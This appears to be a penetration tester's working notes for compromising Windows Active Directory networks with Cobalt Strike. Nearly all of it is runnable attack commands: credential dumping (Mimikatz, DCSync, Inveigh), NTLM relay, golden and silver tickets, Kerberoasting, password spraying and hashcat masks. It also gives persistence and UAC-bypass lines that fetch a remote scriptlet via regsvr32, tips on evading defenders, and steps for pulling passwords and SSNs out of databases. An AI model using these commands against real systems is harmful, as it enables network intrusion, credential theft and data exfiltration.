Does Bloodhound say you can RDP to system, and you're not an admin for the system? Try SharpRDP! It's a .net that works with CS. Nothing else needed, not even an RDP client. To do the lateral movement you will need the cleartext password of the user you are RDP'ing as.

If you are SYSTEM you can hijack any RDP session on the box without a password:

<https://doublepulsar.com/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6>

If a DA has/had a session you can get DA this way!

Works on disconnected or locked sessions too.

Just do a 'query user' to see which sessions are available.

lsassy: dump creds from tons of Windows boxes through CME!

Another way to find cleartext creds for users who cache the RDP creds in Windows:

Mimikatz !sekurlsa::dpapi

<retrieve the masterkey and guid values>

Mimikatz dpapi::cred /in:C:\Users\<target user>\AppData\Local\Microsoft\Credentials\<long hex string here>\ /masterkey:<value>

Tool that finds pivot points for you!

<https://github.com/hdm/nextnet>

Give it a list of IPs, tells you which networks those are connected to.

Windows and linux binaries available.

HTTrack is great for cloning sites, pixel-perfect. Cobalt Strike and setoolkit produce sites that are missing graphics and styles – they're no good.

When you create the new domain BE SURE TO NOT PUBLISH "Kevin Cawlfield", etc with it.

I guess that would be the "private" option offered by GoDaddy? Verify whois output by going to this specific whois search: <https://www.godaddy.com/whois> Other whois sites won't reveal my name.

It doesn't appear so, but it matters which beacon you do "socks 40044" in!

I couldn't ssh to a victim via socks in beacon A, but I could when I did socks via B!

In Cobalt Strike - It's not "kill" it's "jobkill" !!

Check the progress of large download in Cobalt Strike: "downloads"

When you download files from CS and try to do grep/stuff to them, grep will fail because the filetype is wrong ("file" will show "little-endian utf-16…"). Do this: iconv -f utf-16 -t utf-8 filename.txt > filename\_new.txt

It's best to use SMB beacon. This way you don't have 5 systems showing traffic back to C2, you only have 1 system doing that. Blue team might see 1 compromised system and then have to trace it all the way back to C2, which takes more time or might be impossible.

To use SMB simply create a bind-pipe listener, use whatever port you like. Now interact on a system, and do for example "wmi target\_sys1 smb\_listener\_name"

Maybe best part: If you ever lose your smb connection to target1, go to some other system you've compromised and do "link target1".

We have a long term C2 server / redirector now. Whenever a new victim pops up on our short term C2, get persistence on there that infrequently calls out to our long term redirector. Even better – the command executed to reach out should differ from what we used to compromise the victim in the first place. Your long haul C2 should definitely have a different profile than the short one.

Ran into the double hop problem? SpectreOps recommends these to compensate in CS:

make\_token [DOMAIN\user] [password] <- our preference

inject [pid] <x86/x64> [listener] <- second preference

Some process/thread tokens don't have auth credentials in them, so if you inject to those, wmi/psexec/etc might fail. Try other processes!

You phished someone's workstation – not a server. You may not get persistence, so forget enabling WDigest. Want their cleartext creds so you have domain user? Use FoxIT's <https://blog.fox-it.com/2018/08/14/phishing-ask-and-ye-shall-receive/>

Don't stop at 1 domain:

Powerpick Find-ForeignUser -Recurse > out.txt

Even better - get DA for current domain, generate golden ticket, google 'Trustocalypse'.

Now that I've verified BH ingesting not caught with –stealth, run it on a loop to detect lots of sessions.

I've now seen first hand that masscan misses a lot, so use nmap always.

MSF has an 'exec' payload – execute a Cobalt Strike launcher!

When you RDP, no need to specify .\ for local users

When you do anything from PowerView or Invoke-Kerberoast or many others, you need to run it as a domain user. Use runas, or in powershell do start powershell -Credential "", then you fill in creds in a pop-up window.

If hashcat tells you the hashes are in a bad format, try vi'ing the hashes file. There may be weird unprintable characters that came from the powershell output on the victim Windows box. To get around this, cat the hashes and copy and paste in to a text file. Or do the iconv tricked listed at the top of this doc.

Need to be the actual SYSTEM user?

As a privileged user run 'getsystem' – spawns a new beacon that says 'SYSTEM'

Need SYSTEM in x64 process? "inject <svchost pid> x64" – new beacon, not caught!

DomainPasswordSpray.ps1

This is preferred over CME – CME will stop after first successful guess ☹

dumpLsass.sh in /home/ec2-user, from Tinker, it's a Mimikatz alternative,

pipe through a proxy to reach target's SMB?

Alternatives to Mimikatz – dumpert, safetykatz, sharpdump

To compile: open up .sln file, choose "release" and build.

clear all current taskings:

beacon> clear

clear one task:

jobs, then kill <#>

Upon beacon, blend in:

<right click beacon> -> explore -> processes (to see tree view of processes)

you want to see which processes are in use by CURRENT desktop session

if you select a parent that isn't accessible via current desktop, cmds might fail

if you're SYSTEM parent = services.exe / child = c:\path\to\svchost.exe

if you're not SYSTEM parent = explorer.exe / child = c:\path\to\iexplore.exe

Make sure you have the correct path to iexplore.exe for spawnto

ppid <pid #> to set parent process

spawnto x64 c:\path\to\TEMP\_DUMMY\_PROCESS.exe to set child process

socks [port on teamserver]

Now you can do proxychains dumpLsass.sh, msf, or whatever!

Also you can do RDP:

Proxychains xfreerdp /u:"DOMAIN\user1" /p:"pass1" /v:10.0.0.43

Xfreerdp much better than rdesktop – can handle network level auth

Be sure to set /etc/proxychains.conf

And for msf you'll need to set "set Proxies socks4:127.0.0.1:4444" or similar

After doing wmi [host], psexec\_psh [host], or winrm [host], you need to do

make\_token DOMAIN\USER PassWordDoesntMatter

– so you can proceed with future lateral movement

After you've found DBs with BH, run:

(If SqlCmd not available, download or get on DB server itself)

Not sure what this first command did:

Shell SqlCmd -S DBServerName1 -h-1 -W -Q "SET No Count ON;"

(this makes pretty output for later commands…)

Get DB names:

Shell SqlCmd -S DBServerNAme1 -Q "SELECT Name FROM master.dbo.sysDatabases

WHERE [Name] NOT IN ('master','model','msdb','tempdb')"

Shell SqlCmd -S DBServerName1 -Q "BACKUP DATABASE [CustomerInfo] TO DISK =

'C:\Temp\backup.bak'". (S=server, Q=query)

Download the file, run 'strings' to get sensitive data

You did WMI/Psexec and now the double hop problem has left you without a way to do another hop? In CS do 'inject' and now your process has credentials again, from a process that is not a netlogon process. You can hop now!

To use Mimikatz DPAPI (steal Chrome cookies), can't be SYSTEM. Must run as the user who uses the cookies.

Find RDP open in internal network: use 'portscan' through proxy to find 3389. Then proxychains xfreerdp.

From Twitter (Paul Seekamp):

How I got DA today:

1. Cme smb <cidr> --gen-relay-list smbrelay.txt (generates list of live hosts w/o smb signing)
2. Ntlmrelayx.py -tf smbrelay.xt. (targets file)
   1. I assume you also need to run responder.py
   2. You can add this to ntlmrelayx.py: -c <launcher command here>
3. Wait for admin hash (500)
4. Cme smb <cidr> -u username -H nthash –lsa. (dumps lsa)
5. Cat /root/.cme/logs/\*.secrets | sort -u
6. Now try feeding those passwds into msf ssh\_login brute force for even more win!

And don't forget mitm6 (see dirkjanm.io's posts). Run mitm6 to get control over dns, use ntlmrelayx -6 to serve out wpad file.

Golden ticket attack – it's just forged tgt's.

after you get DA, get the hash for krbtgt account. Also get the domain name and SID. Use Mimikatz to generate golden ticket, now pass ticket in any session you have to do anything you want in domain ever. Can even impersonate made-up account names. In the end if you get DA on child domain, you can use Golden to become admin for the ENTIRE FOREST, just set your SID to be the forest enterprise admin's.

To remediate you must reset the KRBTGT account twice, and probably many services will need to be reset.

What you have: Attack you can do:

Nothing Pass the ticket – rubeus dump, lists Kerb tickets for current user

Then Rubeus ptt /ticket:base64\_here on other system

User hash over-pass-the-hash, result is just like pth – in beacon just use

Pth domain\user hash. Or use Rubeus (don't need admin

When using Rubeus unlike Mimikatz!)

Krbtgt hash golden ticket (be sure to specify fqdn!)

Don't need admin rights on victim system

Can use beacon > access > golden ticket to generate

Do a "whoami /user" to get the domain's SID

Machine/svc account hash Silver ticket (forge tickets for specific service or server)

Note: hash updated every 30 days!

There's 2 reg keys you can change to prevent that

To generate use Mimikatz > Kerberos::golden

Compromised server that has unconstrainted delegation – now you can get TGTs for any other

users that are connected: Rubeus dump, Rubeus monitor

Now run spoolsample to get DA!

If you're abusing Kerberos you must use the NetBIOS name of FQDN of target, not IP!

Persistence

Using SharPersist by FireEye:

Users are not warned.

Both do NOT require admin.

1. Reg key

execute-assembly /home/ec2-user/cobaltstrike/persistence/SharPersist/SharPersist.exe -t reg -m add -k hkcurun -v "test" -c "cmd.exe" -a "/c regsvr32.exe /s /n /u /i:http://1.2.3.4/a scrobj.dll"

1. Place in startup

execute-assembly /home/ec2-user/cobaltstrike/persistence/SharPersist/SharPersist.exe -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c regsvr32.exe /s /n /u /i:http://1.2.3.4/a scrobj.dll" -f jg -m add

Replace "add" with "remove" when you don't need persistence anymore.

Bloodhound queries

execute-assembly /home/ec2-user/SharpHound/SharpHound.exe -c all --stealth –ExcludeDc --Throttle 3000 (low and slow to avoid detection, hopefully)

Interesting – if you're admin on a machine, you can add the system's account to local admins group on other systems in the same group to do lateral movement. (maybe)

See raw cypher queries you can add in BH:

<https://gist.github.com/leechristensen/0b6c53ac1bc925e7152ad68e07aec524>

PrivEsc

No user interaction required for this one:

Powershell-import /home/ec2-user/cobaltstrike/privesc/FodhelperBypass.ps1

Powerpick FodhelperBypass -program "regsvr32 /s /n /u /i:http://1.2.3.4/a scrobj.dll"

If that fails you can try:

Beacon > elevate > uac\_dll – prompts user. Will work if user accepts.

I don't see any (non-interactive) ways to bypass uac – Empire's modules fail in CS.

Seatbelt

Can be used for privesc, but also can reveal browser cookies, history…

execute-assembly /home/ec2-user/cobaltstrike/post/Seatbelt.exe all

Post privesc

powershell-import /home/ec2-user/cobaltstrike/post/Get-GPPPassword.ps1

powerpick Get-GPPPassword

powershell-import /home/ec2-user/DomainPasswordSpray.ps1

powerpick Invoke-DomainPasswordSpray -Password Summer2019

(Note this ONLY works in powerpick, not powershell!)

This is preferred over cme, which will stop after 1 valid pass found ☹

powershell-import /home/ec2-user/privesc/Invoke-Kerberoast.ps1

powerpick Invoke-Kerberoast -OutputFormat Hashcat

screen

execute-assembly /home/ec2-user/cobaltstrike/mimikatz/Internal-Monologue/InternalMonologueExe/bin/Release/InternalMonologue.exe

CME is good if you're bruting 1 username across many systems, but not for password spraying (CME will stop after 1 valid password found in spraying attacks ☹ )

socks 40044; socks stop (later)

proxychains crackmapexec <victim IP> -u users.txt -p passwords.txt -d DOMAIN -x whoami

Hashcat stuff

First as root run ./NVIDIA\* , otherwise you get an OpenCL error when running hashcat

./hashcat64.bin -m 1000 ../out11.txt ../rockyou.txt -r rules/d3adhob0.rule

Then once all your cracking is done do –username –show to match passwords to users:

./hashcat64.bin -m 1000 ../out11.txt ../rockyou.txt -r rules/d3adhob0.rule --username --show > hashes\_and\_users.txt

Don't bother with brute forcing 6/7 characters, policies usually demand 8 characters.

I've found these to be most effective:

./hashcat64.bin -m 1000 -a 0 hashes.txt wordlist.txt -r rules

./hashcat64.bin -m 1000 -a 3 hashes.txt ?u?l?l?l?a?a?a?a

./hashcat64.bin -m 1000 -a 3 hashes.txt -1 1! ?a?a?a?a?a?a?a?1

./hashcat64.bin -m 1000 -a 3 hashes.txt -1 ! -2 ?d?u -3 ?l?u0@ ?2?3?3?3?3?3?3?3?1

./hashcat64.bin -m 1000 -a 3 hashes.txt -1 1 -2 ?d?u -3 ?l?u0@ ?2?3?3?3?3?3?3?3?1

./hashcat64.bin -m 1000 -a 3 hashes.txt ?a?a?a?a?a?a?d?d

./hashcat64.bin -m 1000 -a 3 hashes.txt -1 1 -2 ?d?u -3 ?l?u0@ ?3?3?3?3?3?d?d?d?d

./hashcat64.bin -m 1000 -a 3 hashes.txt -1 1 -2 ?d?u -3 ?l?u0@ ?3?3?3?3201?d

./hashcat64.bin -m 1000 -a 3 hashes.txt -1 1 -2 ?d?u -3 ?l?u0@ ?3?3?3?3200?d

./hashcat64.bin -m 1000 -a 3 hashes.txt -1 1 -2 ?d?u -3 ?l?u0@ ?3?3?3?319?d?d

?3?3?3?3?3?3201?d!

?3?3?3?3?3?3?3123

?3?3?3?3?3?31234

Be sure to watch your progress and tweak your brute force rules if you're not getting hits.

Mimikatz and alternatives:

Internal-Monologue – no passwords, but gets us NetNTLM hashes!

Not caught by most A/V!

If you are privileged you get NTLMv1 hashes!

If you are unprivileged you get v2

You CANNOT pth. You can relay NetNTLM, but that doesn't help us…

We're just getting a hash output which isn't relayable.

We have to crack this hash, and use the password.

execute-assembly /home/ec2-user/cobaltstrike/Mimikatz/Internal-Monologue/InternalMonologueExe/bin/Release/InternalMonologue.exe

Tinker's grabdump

caught by A/V and fails (works for most folks though)

Pypykatz-

Run a server on linux

Only need to run small agent on windows. It's an exe.

But it relies on procdump64.exe, which gets access denied even if I first upload it

to target and run as SYSTEM. A/V is not catching it, hmmm.

SafetyKatz –

fails our tests

DCSync

In CS:

Cd c:\users\public\downloads

Powershell-import /home/ec2-user/Invoke-DCSync.ps1

Poewrpick Invoke-DCSync -PWDump?Format > outfile.txt

Download outfile.txt

Shell delete outfile.txt

Inveigh –

As a privileged user:

powershell-import /home/ec2-user/cobaltstrike/post/Inveigh/Inveigh.ps1

powerpick Invoke-Inveigh -ConsoleOutput Y (this is only way you see hash!)

Not noticed by A/V!

Nothing output though in the minutes I ran it. Maybe run coming back from lunch.

Do I run InveighRelay in addition to Inveigh? Or instead of?

How do I know which IP to assign to target for the relay?

Post Exploit

Don't stop at DA – get interesting files, financial stuff, etc!

Look for fileshares your user(s) can access, and look on the DC too.

On each system you get –

net use (review mounted shares)

PowerView

Find-DomainShare -CheckShareAccess (show shares I can access)

Find-InterestingFile (works on remote shares too!)

PowerUpSQL –

must use powershell, not powerpick

You get much more data with a DA or other kinds of admin users

I don't know why but tab completion doesn't work for some cmds

NOTE: "Instance" that you see in usage examples should look like this:

-Instance SQLServer1\db1 or

-Instance server1.domain.com\blah02

These are hard to know, so run this first!

Powershell Get-SQLInstanceDomain -Verbose > instances.txt

Doing an audit gets 0 results on most instances, but keep trying various ones:

Powershell Invoke-SQLAudit -Verbose -Instance … > audit.txt

See where you already have sysadmin access:

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | Get-SQLServerInfo > out.txt

See which db's you can access:

Get-SQLInstanceDomain | Get-SQLDatabase

Then see tables in those db's:

Get-SQLTable -Instance "d2pbbblah<don't need domain>,51111" -DatabaseName blah -NoDefaults

Sometimes, this just doesn't work – might be a permissions issue even with DA

Then get sample data from each db:

Get-SQLColumnSampleData -Keywords "Password,ssn" -SampleSize 3 -Instance "blah,51111" > c:\users\public\downloads\samples1.txt

Normally I'd do this to backup a db and read its contents:

Shell sqlcmd -s d2pbbsql040b -h -1 -W -Q "BACKUP DATABASE FE\_22073\_3 TO DISK = 'c:\users\public\downloads\backup.bak'

So do powershell Get-SQLQuery -Instance "blahblah,52222" -Query "select USERNAME,PASSWORD from sometablename1"

And if that doesn't work just use the Get-SQLSampleData as above with a large limit ☹

Even if you're DA you might do better to impersonate a DBA, and then run that

Future Research

<https://github.com/djhohnstein/SharpWeb> – retrieve saved logins for all 3 major browsers.

Is a .NET exe!

execute-assembly /home/ec2-user/SharpWeb/SharpWeb.exe all

Didn't show much for my test, but looks promising!

<https://github.com/defaultnamehere/cookie_crimes> – dump Chrome cookies. Supposed to work for all major OS's. Python, but maybe you can proxychains it? You can edit 1 variable to grab cookies for profiles other than the Default user.

Needs to be executed on local system, proxychains doesn't work.

Tried building on laptop, appears to work but running dist/\*.exe gets

"no module named "requests""

So pip install requests, rebuild with the pyinstaller -F command

cant get exe to run, nor does python .py work

It's too broken – work on other ways.